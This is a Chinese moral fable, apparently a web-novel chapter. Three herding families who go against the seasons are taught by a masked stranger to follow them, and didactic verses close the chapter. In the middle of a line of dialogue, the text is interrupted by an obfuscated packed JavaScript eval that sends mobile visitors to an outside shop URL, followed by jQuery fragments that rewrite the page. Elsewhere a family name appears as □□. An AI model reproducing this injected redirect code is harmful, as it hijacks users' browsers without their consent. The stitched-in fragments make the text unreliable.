楔子·三家失时


    漠南草原有处水草丰美之地，唤作“四季甸”。甸上有三条河交汇，河边住着三部牧民：河东是“乌力罕”家，牧马为生；河西是“其木格”家，牧羊为生；河北是“□□”家，牧牛为生。


    乌力罕四十有五，牧马三代。他有句话常挂嘴边：“春生夏长，秋收冬藏，这是天时。”可这“天时”，他只对马说。春日马驹出生，他嫌太早，说“不按规矩”；夏日水草丰美，他圈马不放，说“怕马跑瘦”；秋日草黄马肥，他却囤草不售，说“来年价更高”；冬日风雪交加，他仍赶马出牧，说“马不跑不壮”。


    其木格四十有三，牧羊三代。她也有句话常念叨：“四季分明，各守其时，这是地利。”可这“地利”，她只对羊说。春日羔羊出生，她嫌太多，说“挤了草场”；夏日水草丰美，她却赶羊上山，说“山下草要留着”；秋日羊肥毛厚，她却不剪毛，说“等冬雪时更值钱”；冬日风雪封山，她反让羊群下山，说“山下暖和”。


    □□四十有八，牧牛三代。他更有句口头禅：“四时有序，顺天应时，这是人和。”可这“人和”，他只对牛说。春日牛犊出生，他嫌太密，说“乱了规矩”；夏日水草丰美，他却圈牛不放，说“牛吃多了拉稀”；秋日牛壮乳足，他却不挤奶，说“等冬闲时做奶酪”；冬日风雪漫天，他仍赶牛饮水，说“牛不喝不行”。


    这三家，是四季甸最“懂时令”的牧人。可三年下来，时令越守越乱，畜群凋零。乌力罕的马越养越瘦，其木格的羊越养越少，□□的牛越养越病。甸上其他牧人看在眼里，摇头叹气。


    这是草原上的又一个春天，冰雪初融，三条河解冻，可三家的牧场，却无半分春意。


    一、 乌力罕家的“天时”


    这日清晨，乌力罕在马圈里忙活。马圈里关着三十多匹马，匹匹瘦骨嶙峋。乌力罕手持马鞭，清点马匹，嘴里训斥着儿子“布和”：“春羔要早，夏牧要饱，秋膘要足，冬料要备！你看看这些马，哪一匹像样？”


    布和，十八岁，低头刷马，马背上满是鞭痕。


    儿媳“萨仁”端来奶茶，手一抖，奶茶洒了些。乌力罕立时瞪眼：“毛手毛脚！没规矩！马都比你强！”


    萨仁眼圈一红，低头擦拭。


    这时，马圈外来了一人。来人戴着一顶用枯草和羊毛混编的斗笠，斗笠边缘缀着几根褪色的彩绳。身上是件洗得发白的羊皮袄，腰间用牛皮绳系一柄木剑，剑身磨得光滑。脸上蒙着一方粗毛毡，毡色灰黄，沾着草屑。


    “主人，买匹马。”声音沉沉的，带着风沙的粗粝。


    乌力罕抬眼一瞥，见是个外乡人，便道：“要什么马？”


    “能跑长途的，耐劳的。”


    “那匹青马，三十两。”乌力罕指向一匹瘦马。


    那人走进马圈，仔细看马，忽然摇头：“这马，春乏未过，夏膘未上，秋力未蓄，冬寒未消。活不过这个春天。”


    乌力罕脸色一沉：“你懂马？”


    “略知一二。”那人抚着马背，“马如四时，春要生发，夏要生长，秋要收敛，冬要闭藏。你这马，春不让生，夏不让长，秋不让收，冬不让藏。四时皆乱，马如何壮？”


    乌力罕语塞。


    “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出这十二个字，“主人可知何意？”


    “自然知道！”乌力罕挺胸，“春生夏长，秋收冬藏！我牧马三代，岂能不知！”


    “错了。”那人摇头，“春生，是让生，不是不让生。夏长，是让长，不是不让长。秋收，是让收，不是不让收。冬藏，是让藏，不是不让藏。你这般春日嫌早，夏日圈养，秋日不售，冬日强牧，是生么？是长么？是收么？是藏么？”


    乌力罕脸上涨红。


    “你看这草原，”那人指向远方，“春来草绿，夏来草茂，秋来草黄，冬来雪盖。草随四时，荣枯有序。马吃草，人牧马，也当顺四时。春让马驹生，夏让马儿跑，秋让马儿肥，冬让马儿歇。这才是顺天时。”


    他转向布和：“小兄弟，你阿爸教你天时，可教过你，天时是让万物各得其时，不是让人逆时而为？”


    布和低头不敢语。


    “这匹青马，”那人抚着瘦马的脖子，“本该春日欢腾，夏日奔驰，秋日膘壮，冬日安歇。可你呢？春日关着，夏日圈着，秋日囤着，冬日赶着。四时皆逆，马如何不瘦？”


    乌力罕额上冒汗。


    萨仁在旁听了，眼泪簌簌落下。


    “这位姑娘，”那人转向萨仁，“你嫁到乌力罕家，是求安宁。可你这般日日担惊受怕，可还安宁？”


    萨仁只是哭。


    那人从怀里掏出一卷羊皮卷，递给布和。羊皮上写着蒙文，布和展开一看，是《牧马四时歌》。


    “这个给你。里边有牧马顺四时的法子。比如：春牧何时放，夏牧何处水，秋牧何草肥，冬牧何厩暖。”


    布和接过，细细看，羊皮上画着四季牧马的图：春日马驹在母马身边嬉戏，夏日马群在河边饮水，秋日马儿在草原奔驰，冬日马匹在暖厩安歇。旁边小字写着：“春生勿阻，夏长勿拘，秋收勿吝，冬藏勿劳。”


    他看得痴了。


    “主人，”那人转向乌力罕，“你说你懂天时，可你这天时，是逆天时。四时运行，不穷不息。你逆时而为，这马群，迟早要绝。”


    说罢，他从怀里掏出三十两银子，放在料槽上：“这钱，买这匹青马。但我不要它，就寄养在你这里。你按四时牧它，春放，夏跑，秋肥，冬歇。来年此时，我来看它。若它壮了，钱归你；若它还是这般，钱我收回，马我也带走。”


    他走了，草编斗笠在晨风中晃动，羊皮袄的下摆扫过枯草。


    乌力罕呆立良久，看着那三十两银子，又看看儿子手里的羊皮卷，忽然扔下马鞭，蹲在地上，双手抱头。


    萨仁轻轻走过去，递上一碗热奶茶：“阿爸，喝茶。”


    乌力罕抬起头，看着儿媳红肿的眼，看着儿子迷茫的脸，看着那匹瘦骨嶙峋的青马，忽然抬手，狠狠抽了自己一耳光。


    二、 其木格家的“地利”


    其木格这日在羊圈里忙活。羊圈里关着百来只羊，只只毛色枯槁。其木格手持牧羊杖，清点羊数，嘴里训斥着女儿“高娃”：“春羔要控，夏牧要省，秋毛要等，冬草要囤！你看看这些羊，哪一只有膘？”


    高娃，十七岁，低头梳羊毛，羊毛干涩打结。


    女婿“朝鲁”（入赘女婿）端来奶酪，脚步稍重。其木格立时皱眉：“笨手笨脚！羊都比你强！”


    朝鲁低头不敢语。


    这时，羊圈外来了一人。还是草编斗笠，羊皮袄，腰间木剑。脸上蒙着毛毡，只露出一双眼睛，清澈如泉。


    “主人，买些羊毛。”声音温和。


    其木格抬眼，见是前日在乌力罕家马圈见过的那人，心里一动，面上堆笑：“客官要多少？”


    “十斤，要细软暖和的。”


    “好嘞！”其木格让朝鲁去取羊毛。


    那人却不急，看着羊群，忽然摇头：“这些羊，春毛未换，夏膘未长，秋绒未生，冬寒未御。活不过这个冬天。”


    其木格脸色一变：“你懂羊？”


    “略知一二。”那人走进羊圈，抚着一只母羊，“羊如四时，春要换毛，夏要长膘，秋要生绒，冬要御寒。你这羊，春不让换，夏不让长，秋不让生，冬不让御。四时皆乱，羊如何壮？”


    其木格语塞。


    “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出，“主人可知何意？”


    “自然知道！”其木格挺胸，“春生夏长，秋收冬藏！我牧羊三代，岂能不知！”


    “错了。”那人摇头，“春生，是让生，不是不让生。夏长，是让长，不是不让长。秋收，是让收，不是不让收。冬藏，是让藏，不是不让藏。你这般春日控羔，夏日省草，秋日等毛，冬日下山，是生么？是长么？是收么？是藏么？”


    其木格脸上发红。


    “你看这草原，”那人指向远山，“春来草绿，夏来草茂，秋来草黄，冬来雪盖。草随四时，荣枯有序。羊吃草，人牧羊，也当顺四时。春让羔羊生，夏让羊儿跑，秋让羊儿肥，冬让羊儿暖。这才是顺地利。”


    他转向高娃：“姑娘，你额吉教她地利，可教过你，地利是让万物各得其所，不是让人逆地而为？”


    高娃低头垂泪。


    “这些羊，”那人抚着枯瘦的羊，“本该春日欢腾，夏日奔驰，秋日膘壮，冬日安歇。可你呢？春日控生，夏日省草，秋日等毛，冬日下山。四时皆逆，羊如何不瘦？”


    其木格额上冒汗。


    朝鲁在旁听了，眼眶也红了。


    “这位郎君，”那人转向朝鲁，“你入赘其木格家，是求安稳。可你这般日日小心翼翼，可还安稳？”


    朝鲁只是低头。


    那人从怀里掏出一卷羊皮卷，递给高娃。羊皮上写着蒙文，高娃展开一看，是《牧羊四时歌》。


    “这个给你。里边有牧羊顺四时的法子。比如：春羔何时生，夏牧何处草，秋毛何时剪，冬厩何时暖。”


    高娃接过，细细看，羊皮上画着四季牧羊的图：春日羔羊在母羊身边吃奶，夏日羊群在山坡吃草，秋日羊儿在草原长膘，冬日羊群在暖圈安歇。旁边小字写着：“春生勿控，夏长勿省，秋收勿等，冬藏勿劳。”


    她看得痴了。


    “主人，”那人转向其木格，“你说你懂地利，可你这地利，是逆地利。四时运行，不穷不息。你逆时而为，这羊群，迟早要绝。”


    说罢，他从怀里掏出十两银子，放在料槽上：“这钱，买十斤羊毛。但我不要现在的毛，要明年此时的毛。你按四时牧羊，春放，夏跑，秋肥，冬暖。来年此时，我来看羊。若羊壮了，毛好了，钱归你；若羊还是这般，钱我收回，毛我也不要了。”


    他走了，羊皮袄在风中飘动，木剑的剑穗扫过枯草。


    其木格呆立良久，看着那十两银子，又看看女儿手里的羊皮卷，忽然扔下牧羊杖，坐在草堆上，双手捂脸。


    高娃轻轻走过去，递上一碗热奶酪：“额吉，吃奶酪。”


    其木格抬起头，看着女儿含泪的眼，看着女婿低垂的头，看着那些枯瘦的羊，忽然抬手，轻轻拍了拍女婿的肩。


    三、 □□家的“人和”


    □□这日在牛圈里忙活。牛圈里关着二十多头牛，头头骨瘦如柴。□□手持牛鞭，清点牛数，嘴里训斥着儿子“呼和”：“春犊要稀，夏草要省，秋奶要等，冬水要勤！你看看这些牛，哪一头有奶？”


    呼和，十九岁，低头挤奶，奶桶里只有小半桶。


    儿媳“乌云”端来炒米，脚步稍重。□□立时瞪眼：“毛手毛脚！牛都比你强！”


    乌云眼圈一红，低头摆碗。


    这时，牛圈外来了一人。还是草编斗笠，羊皮袄，腰间木剑。脸上蒙着毛毡，风尘仆仆。


    “主人，买些牛奶。”声音平平。


    □□抬眼，见是这两日在乌力罕、其木格家见过的那人，心里咯噔一下，面上堆笑：“客官要多少？”


    “一桶，要新鲜浓稠的。”


    “好嘞！”□□让呼和挤奶。


    那人却摇头：“这牛，春犊未生，夏草未饱，秋膘未长，冬寒未御。挤不出好奶。”


    □□脸色一沉：“你懂牛？”


    “略知一二。”那人走进牛圈，抚着一头母牛，“牛如四时，春要生犊，夏要吃草，秋要长膘，冬要御寒。你这牛，春不让生，夏不让饱，秋不让长，冬不让御。四时皆乱，牛如何壮？”


    □□语塞。


    “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出，“主人可知何意？”


    “自然知道！”□□挺胸，“春生夏长，秋收冬藏！我牧牛三代，岂能不知！”


    “错了。”那人摇头，“春生，是让生，不是不让生。夏长，是让长，不是不让长。秋收，是让收，不是不让收。冬藏，是让藏，不是不让藏。你这般春日嫌密，夏日省草，秋日等奶，冬日强饮，是生么？是长么？是收么？是藏么？”


    □□脸上发烫。


    “你看这草原，”那人指向河流，“春来水涨，夏来水丰，秋来水清，冬来冰封。水随四时，涨落有序。牛喝水，人牧牛，也当顺四时。春让牛犊生，夏让牛儿饱，秋让牛儿肥，冬让牛儿暖。这才是顺人和。”


    他转向呼和：“小兄弟，你阿爸教你和顺，可教过你，和顺是让万物各得其所，不是让人逆时而为？”


    呼和低头不语。


    乌云在旁听了，眼泪滴在衣襟上。


    “这位姑娘，”那人转向乌云，“你嫁到□□家，是求和乐。可你这般日日担惊受怕，可还和乐？”


    乌云只是抹泪。


    那人从怀里掏出一卷羊皮卷，递给呼和。羊皮上写着蒙文，呼和展开一看，是《牧牛四时歌》。


    “这个给你。里边有牧牛顺四时的法子。比如：春犊何时生，夏草何处肥，秋膘何时长，冬厩何时暖。”


    呼和接过，细细看，羊皮上画着四季牧牛的图：春日牛犊在母牛身边吃奶，夏日牛群在河边吃草，秋日牛儿在草原长膘，冬日牛群在暖圈安歇。旁边小字写着：“春生勿控，夏长勿省，秋收勿等，冬藏勿劳。”


    他看得痴了。


    “主人，”那人转向□□，“你说你懂人和，可你这人和，是逆人和。四时运行，不穷不息。你逆时而为，这牛群，迟早要绝。”


    说罢，他从怀里掏出五两银子，放在奶桶边：“这钱，买一桶奶。但我不要现在的奶，要明年此时的奶。你按四时牧牛，春放，夏饱，秋肥，冬暖。来年此时，我来看牛。若牛壮了，奶好了，钱归你；若牛还是这般，钱我收回，奶我也不要了。”


    他提起空桶，转身要走。走到圈口，回头：“主人，来年此时我再来。你若想明白了四时运行、不穷不息的道理，给我留一桶真正的‘四时奶’。”


    □□看着那人的背影消失在草原尽头，又看看儿子手里的羊皮卷，忽然把牛鞭一扔，蹲在地上，双手抱头。


    乌云轻轻走过去，递上一碗炒米：“阿爸，吃饭。”


    □□抬起头，看着儿媳含泪的眼，看着儿子茫然的脸，看着那些瘦弱的牛，忽然伸手，接过饭碗，声音发哑：“你……你也吃。”


    四、 那达慕的月


    七月中，草原上最热闹的那达慕大会开始了。赛马、摔跤、射箭，人欢马叫。乌力罕、其木格、□□三家，也都来到了会场。


    乌力罕牵着他那匹青马，马儿经过半年的调养，已然壮实许多。布和在一旁小心照料，萨仁捧着奶茶。


    其木格带着她的羊群，羊儿毛色光亮，膘肥体壮。高娃在一旁看护，朝鲁背着羊毛。


    □□赶着他的牛群，牛儿精神抖擞，奶水充足。呼和在一旁挤奶，乌云端着奶桶。


    三人在会场相遇，都有些尴尬。


    还是乌力罕先开口：“其木格，□□，来啦？”


    其木格、□□点点头：“来啦，来啦。”


    三人看着各自的家畜，又看看对方，都从对方眼中看到了变化。


    “你的马……壮了。”其木格说。


    “你的羊……肥了。”□□说。


    “你的牛……精神了。”乌力罕说。


    正说着，那人来了。还是草编斗笠，羊皮袄，腰间木剑。只是今日没蒙毛毡，脸上戴了个木雕面具，面具上刻着四季图：春草、夏花、秋叶、冬雪。手里提着一皮囊马奶酒，三个木碗。


    “三位主人，赛马呢？”他笑。


    三人忙转身：“先生！”


    那人坐下，自斟一碗酒，举碗邀天：“好天。”


    三人也斟了酒，同饮。酒是醇厚的马奶酒，烈，可喝下去，心里暖。


    “先生，”乌力罕问，“那十二个字，到底什么意思？”


    “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念出，“春生，夏长，秋收，冬藏。这是天时，是地利，是人和。四时运行，不穷不息，这是天地大道。顺之者昌，逆之者亡。”


    三人肃然。


    “春不让生，则万物不发。夏不让长，则万物不茂。秋不让收，则万物不实。冬不让藏，则万物不固。”那人看着他们，“你们三家，一牧马，一牧羊，一牧牛，本都是顺天应时的好牧人。可你们呢？乌力罕春嫌早、夏圈养、秋不售、冬强牧，是顺天时么？其木格春控羔、夏省草、秋等毛、冬下山，是顺地利么？□□春嫌密、夏省草、秋等奶、冬强饮，是顺人和么？”


    三人低头。


    “马如四时，羊如四时，牛如四时。四时有序，不穷不息。你们逆时而为，马瘦，羊病，牛弱。如今顺时而为，马壮，羊肥，牛健。可见什么？”那人声音温和，却字字入心，“可见不是畜不壮，是人不顺。不是时不济，是人不知。”


    三人汗颜。


    “春生夏长，秋收冬藏。生不是滥生，是应生则生。长不是疯长，是应长则长。收不是全收，是应收则收。藏不是死藏，是应藏则藏。”那人指着草原，“你们看，春草生，夏草长，秋草黄，冬雪盖。草顺四时，所以草原不灭。你们牧马、牧羊、牧牛，也当如此。”


    他指向乌力罕的青马：“这马，春生时你让它生，夏长时你让它跑，秋收时你让它肥，冬藏时你让它歇。它壮了，你乐了，是不是？”


    乌力罕重重点头。


    他指向其木格的羊群：“这羊，春生时你让它生，夏长时你让它吃，秋收时你让它肥，冬藏时你让它暖。它肥了，你笑了，是不是？”


    其木格眼眶湿润。


    他指向□□的牛群：“这牛，春生时你让它生，夏长时你让它饱，秋收时你让它壮，冬藏时你让它暖。它壮了，你安了，是不是？”


    □□连连点头。


    那人从怀里掏出三块小小的、用牛骨刻的牌子，一人给了一个。牌子上刻着蒙文：春生、夏长、秋收、冬藏。


    “这个，给你们。挂在毡房门上，记在心里。牧畜时看看，莫忘了四时运行，不穷不息。”


    三人接过，那牌子是牛骨刻的，光滑温润，在阳光下泛着乳白的光。


    “先生，”布和从人群里挤出来，大着胆子问，“您从哪里来？”


    “从来处来。”


    “要到哪里去？”高娃也挤出来。


    “到去处去。”


    “您是做什么的？”呼和也出来了。


    “我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145690|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是个看天、看地、看时的人。”那人笑了，“看人怎么顺天，怎么应地，怎么合时。”


    他起身，提起皮囊：“酒喝完了，我该走了。”


    “先生还会来么？”三人齐声问。


    “等你们的马群、羊群、牛群，真真正顺应四时、不穷不息的时候，我再来。”他说。


    他走了，沿着草原，慢慢地走。阳光洒在草地上，把他的影子拉得很长。三家的人站在会场上，看着他的背影渐渐消失在草原尽头。


    乌力罕忽然转身，对萨仁说：“媳妇，这半年……辛苦你了。”


    萨仁的眼泪，一下子涌了出来。


    其木格拍拍朝鲁的肩：“女婿，来，喝一碗。”


    朝鲁的眼眶，也红了。


    □□对乌云说：“儿媳，吃块肉，多吃点。”


    乌云低下头，眼泪滴在肉上。


    五、 三年后的牛骨牌


    三年后的那达慕大会，更热闹了。乌力罕家的马群已增至五十多匹，匹匹膘肥体壮；其木格家的羊群已有二百多只，只只毛厚肉肥；□□家的牛群已有三十多头，头头奶水充足。


    三家在会场边支起毡房，相邻而居。乌力罕的孙子“春生”五岁，在草地上追着小马驹跑；其木格的孙女“夏长”六岁，在羊群里喂小羊羔；□□的孙子“秋收”七岁，在牛群边学挤奶。


    乌力罕、其木格、□□三个老人，坐在毡房前，喝酒看赛马。


    “真快，三年了。”乌力罕说。


    “是啊，三年了。”其木格说。


    “那先生，再没来过。”□□说。


    正说着，草原那头走来一人。还是草编斗笠，羊皮袄，腰间木剑。只是斗笠更破，皮袄更旧，木剑的剑柄磨得发亮。脸上依然戴着木面具，面具上的四季图，在阳光下清晰可见。


    三人看见，忙起身：“先生！”


    那人点头，声音依旧温和：“都兴旺了。”


    “托先生的福。”三人齐声道。


    那人笑了，在毡毯上坐下，自斟一碗马奶酒，举碗邀天：“天还是那个天。”


    众人也举碗。


    春生机灵，捧上一碗新挤的马奶：“先生，喝奶，今年的新奶，香！”


    夏长捧上一块新剪的羊毛：“先生，用毛，今年的新毛，软！”


    秋收捧上一桶新挤的牛奶：“先生，喝奶，今年的新奶，醇！”


    那人一一接过，喝马奶，摸羊毛，喝牛奶，点头：“好，好。”


    乌力罕从怀里掏出那块牛骨牌，已经用牛皮绳系着，挂在脖子上：“先生，您看，我一直戴着。”


    其木格、□□也掏出牛骨牌，三块牌子，在阳光下泛着温润的光。


    “戴得好。”那人点头，“四时运行，在心不在形。”


    “先生，”其木格问，“您这三年，去了哪里？”


    “走了些地方，见了些牧人。”那人说，“有春不让生的，有夏不让长的，有秋不让收的，有冬不让藏的。看得多了，就想，若是他们都明白四时不穷的道理，会不会就不同了？”


    众人沉默。


    “曰春夏，曰秋冬。此四时，运不穷。”那人缓缓念，“春生，是天地生发之气，不可阻。夏长，是天地生长之气，不可逆。秋收，是天地收敛之气，不可违。冬藏，是天地闭藏之气，不可抗。顺之者昌，逆之者亡，这是天地至理。”


    他看向三个孩子——春生在追马驹，夏长在喂羊羔，秋收在挤牛奶。追得欢快，喂得细心，挤得认真。


    “他们比你们强。”那人笑了，“春生知生，夏长知长，秋收知收。这才对。”


    众人点头，深以为然。


    那人从怀里掏出三块小小的、用牛骨刻的牌子，刻着“顺天、应地、合时”，送给三个孩子。


    “这个，给你们的孩子。等他们长大了，教他们春生、夏长、秋收、冬藏。等他们做到了，我再来收。”


    三个孩子恭恭敬敬接过。


    “先生，”秋收大着胆子问，“您是谁啊？”


    那人摸摸他的头：“我是个喜欢看人顺天、应地、合时的人。”


    “那……您还会来看我们追马驹、喂羊羔、挤牛奶么？”


    “会。”那人站起身，“等你们的孩子的孩子，也这样在草原上追马驹、喂羊羔、挤牛奶的时候，我还会来。”


    他走了，沿着草原，慢慢地走。阳光洒在无边的草地上，泛着金绿的光。他的背影在草原上，渐渐远了，融进天地间。


    众人送到草坡上，看着他消失。乌力罕忽然说：“你们说，先生教了多少牧人？”


    其木格说：“不知道。但我知道，他教的牧人，都懂了‘四时不穷’。”


    □□说：“我也懂了。牧畜不是强求，是顺应。顺应天时，畜自来。”


    他们回到毡房，孩子们还在那里。春生在教夏长骑马，夏长在教秋收喂羊，秋收在教春生挤奶。阳光照在他们身上，明晃晃的。


    尾声四时谣


    很多年后，四季甸改名叫“四时甸”。甸口的敖包上，刻着十二个蒙文大字：


    曰春夏，曰秋冬。此四时，运不穷。


    常有外乡的牧人问：“这字谁刻的？”


    甸里的老人会说：“是三家明白人刻的。他们啊，从前只会逆时，后来懂了顺时，畜群兴旺，家业丰足。”


    “怎么顺时？”


    “乌力罕家春放马，夏跑马，秋肥马，冬歇马。其木格家春生羔，夏放羊，秋剪毛，冬暖羊。□□家春生犊，夏饱牛，秋挤奶，冬暖牛。这就是顺时。”


    那达慕大会时，甸上的孩子都会唱一首童谣：


    四季甸，三家人，


    逆天逆时畜不宁。


    乌家逆时马儿瘦，


    其家逆时羊儿病。


    巴家逆时牛儿弱，


    三家逆时家业凋。


    白衣先生来点化，


    曰春夏，曰秋冬。


    此四时，运不穷，


    三家顺时六畜兴。


    有个游方的萨满路过，听了这童谣，去问乌力罕家的布和——如今已是甸上有名的牧马人。


    “兄弟，这童谣里的白衣人，可是位天神？”


    布和正在教孙子驯马，闻言停下手，望着无边的草原。


    “是位教人顺天、应地、合时的先生。”他说。


    “顺天应地……不是我们萨满的事么？”


    “错了。”布和说，“顺天应地合时，是每个牧人的本分。牧马的，要顺马性；牧羊的，要顺羊性；牧牛的，要顺牛性。马性、羊性、牛性，就是天性、地性、时性。这才是真明白。”


    萨满似懂非懂。临走时，布和送了他一匹小马驹，说：“路上骑。记着，马如四时，春生夏长，秋收冬藏。顺之则壮，逆之则亡。”


    萨满道了谢，骑上马驹走了。阳光洒在草原上，草浪如海。他回头，看见布和站在毡房前，看着孙子和其木格家、□□家的孩子在一起，一个骑马，一个喂羊，一个挤奶。阳光照在他们身上，像镀了一层金。


    也许那位先生，正在某个地方，看人顺天、应地、合时吧。萨满想。


    他拍了拍马驹，马驹欢快地跑起来。这顺时的感觉，原来就在一马一鞍之间。


    本章诫世


    一、 四时真义训


    - 曰春夏，曰秋冬


    - 此四时，运不穷


    - 破解法：为牧者，自问“可顺春生？可顺夏长？可顺秋收？可顺冬藏？”；为民者，自问“可应天时？可合地利？可达人和？”


    二、 三家三逆


    - 乌家逆在“强求”——春不让生，夏不让长，秋不让收，冬不让藏


    - 其家逆在“吝啬”——春控羔，夏省草，秋等毛，冬下山


    - 巴家逆在“苛待”——春嫌密，夏省草，秋等奶，冬强饮


    - 惕世：多少农人逆天时而耕？多少商人逆地利而贾？多少匠人逆人和而作？皆逆时也


    三、 顺时大道


    - 深层隐喻：四时运行，天地之常。春生夏长，秋收冬藏，不穷不息。顺之者昌，逆之者亡，非虚言也


    - 终极指向：牧畜如牧人，耕田如耕心，经商如经时。顺天时者得天助，应地利者得地力，合人和者得人心。逆时而行，虽勤苦而功半；顺时而为，虽安逸而功倍


    四时偈：


    四季甸上三家人，逆天逆时畜不宁。


    乌家逆时马儿瘦，其家逆时羊儿病。


    巴家逆时牛儿弱，三家逆时家业凋。


    白衣现身来点化，四时运行不穷息。


    春生夏长秋收冬藏，三家顺时六畜兴。


    后世叹：


    曰春夏，曰秋冬，此四时，运不穷。


    乌家逆时马不壮，其家逆时羊不肥。


    巴家逆时牛不健，三家皆忘顺时道。


    白衣点破四时理，三年顺时六畜旺。


    正是：


    漠南草原三家人，逆天逆时各执迷。


    乌家强求逆马性，其家吝啬逆羊情。


    巴家苛待逆牛理，三家皆忘顺时道。


    白衣点化四时义，春生夏长秋收藏。


    三年顺时家业旺，四时甸上美名扬。